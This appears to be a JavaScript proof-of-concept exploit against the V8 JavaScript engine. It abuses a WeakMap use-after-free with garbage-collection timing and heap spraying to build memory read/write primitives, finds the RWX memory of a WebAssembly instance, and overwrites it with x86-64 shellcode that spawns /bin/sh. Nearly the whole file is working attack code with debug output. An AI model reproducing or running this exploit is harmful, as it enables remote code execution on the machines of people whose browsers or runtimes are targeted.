function
sleep(miliseconds) {
var
currentTime =
new
Date().getTime();
while
(currentTime + miliseconds >=
new
Date().getTime()) {
}
}
var
initKey = {init : 1};
var
level = 4;
var
map1 =
new
WeakMap();
var
gcSize = 0x4fe00000;
var
sprayParam = 1000;
var
mapAddr = 0x8203ae1;
var
mapAddr = 0x8183ae1
var
rwxOffset = 0x60;
var
code =
new
Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var
module =
new
WebAssembly.Module(code);
var
instance =
new
WebAssembly.Instance(module);
var
wasmMain = instance.exports.main;
function
hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap =
new
WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {
'h'
: i};
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
let retMap =
new
WeakMap();
map.set(thisKey, retMap);
return
thisKey;
}
}
}
function
getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for
(let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if
(i == level - 1) {
return
thisKey;
}
}
}
function
setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 =
new
WeakMap();
let map8 =
new
WeakMap();
let k5 = {k5 : 1};
let map5 =
new
WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let ta =
new
Uint8Array(1024);
ta.fill(0xfe);
let larr =
new
Array(1 << 15);
larr.fill(1.1);
console.log(
"================ double in free zone: larr"
);
let v9 = {ta : ta, larr : larr};
map.set(k7, map7);
map.set(k9, v9);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8,k9);
}
var
view =
new
ArrayBuffer(24);
var
dblArr =
new
Float64Array(view);
var
intView =
new
Int32Array(view);
var
bigIntView =
new
BigInt64Array(view);
function
ftoi32(f) {
dblArr[0] = f;
return
[intView[0], intView[1]];
}
function
i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return
dblArr[0];
}
function
itof(i) {
bigIntView = BigInt(i);
return
dblArr[0];
}
function
ftoi(f) {
dblArr[0] = f;
return
bigIntView[0];
}
function
gc() {
new
ArrayBuffer(gcSize);
}
function
restart() {
global.__proto__ = {};
gc();
sleep(2000);
main();
}
function
main() {
setUpWeakMap(map1);
gc();
let sprayParamArr = [];
for
(let i = 0; i < sprayParam; i++) {
let thisArr =
new
Array(1 << 15);
sprayParamArr.push(thisArr);
}
globalIdx['a
' + globalIdx] = 1;
//Can'
t refactor
this
, looks like it cause some double rounding problem (got optimized?)
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(instance);
}
globalIdx[
'a'
+ globalIdx + 1000] = 1;
let result =
null
;
try
{
result = fetch();
}
catch
(e) {
console.log(
"fetch failed"
);
restart();
return
;
}
if
(!result) {
console.log(
"fail to find object address."
);
restart();
return
;
}
let larr = result.larr;
let index = result.idx;
console.log(
"================ double in free zone: instance"
);
let instanceAddr = ftoi32(larr[index])[0];
let instanceAddr2 = ftoi32(larr[index])[1];
let instanceFloatAddr = larr[index];
console.log(
"================found instance address: 0x"
+ instanceAddr.toString(16) +
" at index: "
+ index);
console.log(
"================found instance address2: 0x"
+ instanceAddr2.toString(16) +
" at index: "
+ index);
let x = {};
for
(let i = 0; i < sprayParamArr.length; i++) {
let thisArr = sprayParamArr[i];
thisArr.fill(x);
}
globalIdx[
'a'
+ globalIdx + 5000] = 1;
larr[index] = instanceFloatAddr;
let objArrIdx = -1;
let thisArrIdx = -1;
for
(let i = 0; i < sprayParamArr.length; i++) {
globalIdx[
'a'
+ globalIdx + 3000] = 1;
global.__proto__ = {};
let thisArr = sprayParamArr[i];
for
(let j = 0; j < thisArr.length; j++) {
let thisObj = thisArr[j];
if
(thisObj == instance) {
console.log(
"found instance object at: "
+ i +
" index: "
+ j);
objArrIdx = i;
thisArrIdx = j;
}
}
}
globalIdx[
'a'
+ globalIdx + 4000] = 1;
if
(objArrIdx == -1) {
console.log(
"failed getting fake object index."
);
restart();
return
;
}
let obj = [1.1,1.2,1.3,0.0];
console.log(
"================ obj"
);
let thisArr = sprayParamArr[objArrIdx];
thisArr.fill(obj);
globalIdx[
'a'
+ globalIdx + 2000] = 1;
let addr = ftoi32(larr[index])[0];
let objEleAddr = addr + 0x18 + 0x8;
let floatAddr = i32tof(objEleAddr, objEleAddr);
let floatMapAddr = i32tof(mapAddr, mapAddr);
obj[0] = floatMapAddr;
let eleLength = i32tof(instanceAddr + rwxOffset, 10);
obj[1] = eleLength;
larr[index] = floatAddr;
console.log(
"array address: 0x"
+ addr.toString(16));
console.log(
"array element address: 0x"
+ objEleAddr.toString(16));
let rwxAddr = 0;
let fakeArray = sprayParamArr[objArrIdx][thisArrIdx];
if
(!(fakeArray
instanceof
Array)) {
console.log(
"fail getting fake array."
);
restart();
return
;
}
rwxAddr = fakeArray[0];
console.log(
"rwx address at: 0x"
+ ftoi(rwxAddr).toString(16));
if
(rwxAddr == 0) {
console.log(
"failed getting rwx address."
);
restart();
return
;
}
let shellArray =
new
Uint8Array(100);
thisArr = sprayParamArr[objArrIdx];
thisArr.fill(shellArray);
let shellAddr = ftoi32(larr[index])[0];
console.log(
"shellArray addr: 0x"
+ shellAddr.toString(16));
obj[1] = i32tof(shellAddr + 0x20, 10);
fakeArray[0] = rwxAddr;
var
shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x56, 0x53, 0x54, 0x5f, 0xb8, 0x3b, 0, 0, 0, 0xf, 0x5];
for
(let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
}
function
findTA(ta) {
let found =
false
;
for
(let i = 0; i < 16; i++) {
if
(ta[i] != 0xfe) {
console.log(ta[i]);
return
true
;
}
}
console.log(ta[0]);
return
found;
}
function
findLArr(larr) {
for
(let i = 0; i < (1 << 15); i++) {
if
(larr[i] != 1.1) {
let addr = ftoi32(larr[i]);
return
i;
}
else
{
}
}
return
-1;
}
function
fetch() {
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(
'===========before access free pointet 1'
)
console.log(
'===========before access free pointet 2'
)
let larr = map1.get(map8.get(k8)).larr;
console.log(
'===========before findLArr'
)
let index = findLArr(larr);
console.log(
'===========after findLArr'
)
if
(index == -1) {
return
;
}
return
{larr : larr, idx : index};
}
global = {};
globalIdx = 0;
main();